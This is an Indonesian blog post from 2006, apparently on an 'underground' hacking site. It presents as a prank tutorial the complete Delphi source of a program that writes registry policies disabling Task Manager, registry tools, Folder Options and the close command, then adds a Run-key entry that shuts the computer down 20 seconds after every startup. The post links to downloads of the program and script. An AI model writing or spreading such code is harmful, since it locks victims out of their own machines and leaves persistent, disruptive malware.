Monday, October 16, 2006

AUTO SHUTDOWN SAAT STARTUP

Gw mo ikutan kasi tutor he9x……..

Tutor yang satu ini dibuat dengan Delphi…jadi minimal kalian udah terbiasa dengan IDE (Integrated Develovment Environment) Delphi……

Begini ceritanya :

Secara garis besarnya kode program dibawah ini akan menshutdown secara otomatis computer saat startup ( ISENG-ISENG CHOY) ,itu disebabkan karena saat program ini dieksekusi,compiler akan langsung menulis key ('bunuh', 'C:\WINDOWS\system32\shutdown.exe -s -t 20 -c "hallo saya malaikat komputer..rasain loe"'); pada '\Software\Microsoft\Windows\CurrentVersion\Run' Didalam HKEY_CURRENT_USER di registry anda. –s merupakan perintah shutdown,nilai –t 20 adalah nilai waktu…berapa detik anda akan memberikan waktu untuk shutdown saat startup ……jadi anda tinggal merubah nilainya saja, dan –c adalah komentar…namun jika anda memberikan nilai 00 alangkah baiknya anda tidak perlu memberikan komentar.

Berikut Kode Program Selengkapnya selengkapnya :

unit x1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, Buttons;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

procedure DisableTaskMgr(bTF: Boolean);

procedure DisableRegistryTools(bTF: Boolean);

procedure NoFolderOptions(bTF: Boolean);

procedure NoClose(bTF: Boolean);

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

uses Registry;

function BlockInput(fBlockInput: Boolean): longint; stdcall; external 'user32.DLL';

function FunctionDetect(LibName, FuncName: string; var LibPointer: Pointer): Boolean;

var

LibHandle: THandle;

begin

Result := False;

LibPointer := nil;

if LoadLibrary(PChar(LibName)) = 0 then Exit;

LibHandle := GetModuleHandle(PChar(LibName));

if LibHandle <> 0 then

begin

LibPointer := GetProcAddress(LibHandle, PChar(FuncName));

if LibPointer <> nil then Result := True;

end;

end;

procedure TForm1.DisableTaskMgr(bTF: Boolean);

var reg: TRegistry;

begin

reg := TRegistry.Create;

reg.RootKey := HKEY_CURRENT_USER;

reg.OpenKey('Software', True);

reg.OpenKey('Microsoft', True);

reg.OpenKey('Windows', True);

reg.OpenKey('CurrentVersion', True);

reg.OpenKey('Policies', True);

reg.OpenKey('System', True);

if bTF = True then

begin

reg.WriteString('DisableTaskMgr', '1');

end

else if bTF = False then

begin

reg.DeleteValue('DisableTaskMgr');

end;

reg.CloseKey;

end;

procedure TForm1.NoFolderOptions(bTF: Boolean);

var

reg: TRegistry;

begin

reg := TRegistry.Create;

reg.RootKey := HKEY_CURRENT_USER;

reg.OpenKey('Software', True);

reg.OpenKey('Microsoft', True);

reg.OpenKey('Windows', True);

reg.OpenKey('CurrentVersion', True);

reg.OpenKey('Policies', True);

reg.OpenKey('Explorer', True);

if bTF = True then

begin

reg.WriteString('NoFolderOptions','1');

end

else if bTF = False then

begin

reg.DeleteValue('NoFolderOptions');

end;

reg.CloseKey;

end;

procedure TForm1.NoClose(bTF: Boolean);

var

reg: TRegistry;

begin

reg := TRegistry.Create;

reg.RootKey := HKEY_CURRENT_USER;

reg.OpenKey('Software', True);

reg.OpenKey('Microsoft', True);

reg.OpenKey('Windows', True);

reg.OpenKey('CurrentVersion', True);

reg.OpenKey('Policies', True);

reg.OpenKey('Explorer', True);

if bTF = True then

begin

reg.WriteInteger('NoClose',1);

end

else if bTF = False then

begin

reg.DeleteValue('NoClose');

end;

reg.CloseKey;

end;

procedure TForm1.DisableRegistryTools(bTF: Boolean);

var

reg: TRegistry;

begin

reg := TRegistry.Create;

reg.RootKey := HKEY_CURRENT_USER;

reg.OpenKey('Software', True);

reg.OpenKey('Microsoft', True);

reg.OpenKey('Windows', True);

reg.OpenKey('CurrentVersion', True);

reg.OpenKey('Policies', True);

reg.OpenKey('System', True);

if bTF = True then

begin

reg.WriteInteger('DisableRegistryTools',1);

end

else if bTF = False then

begin

reg.DeleteValue('DisableRegistryTools');

end;

reg.CloseKey;

end;

procedure TForm1.FormCreate(Sender: TObject);

var xBlockInput: function (Block: BOOL): BOOL; stdcall;

begin

// disable

DisableTaskMgr(true);

DisableRegistryTools (true);

NoFolderOptions(true);

NoClose(true);

with TRegistry.Create do try

RootKey := HKEY_CURRENT_USER;

OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True);

WriteString('bunuh', 'C:\WINDOWS\system32\shutdown.exe -s -t 20 -c "hallo saya malaikat komputer..rasain loe"');

CloseKey;

finally

Free;

application.Terminate;

end;

end.


download here

http://www.box.net/shared/saubq6y1t6

script here

http://www.box.net/shared/3xs4pi8pvd

Site : www.kendari-underground.blogspot.com

e-mail : kendari.underground@gmail.com

Thanks to Kendari_underground…….

Tutor by 1g3….:):):):)

0 komentar: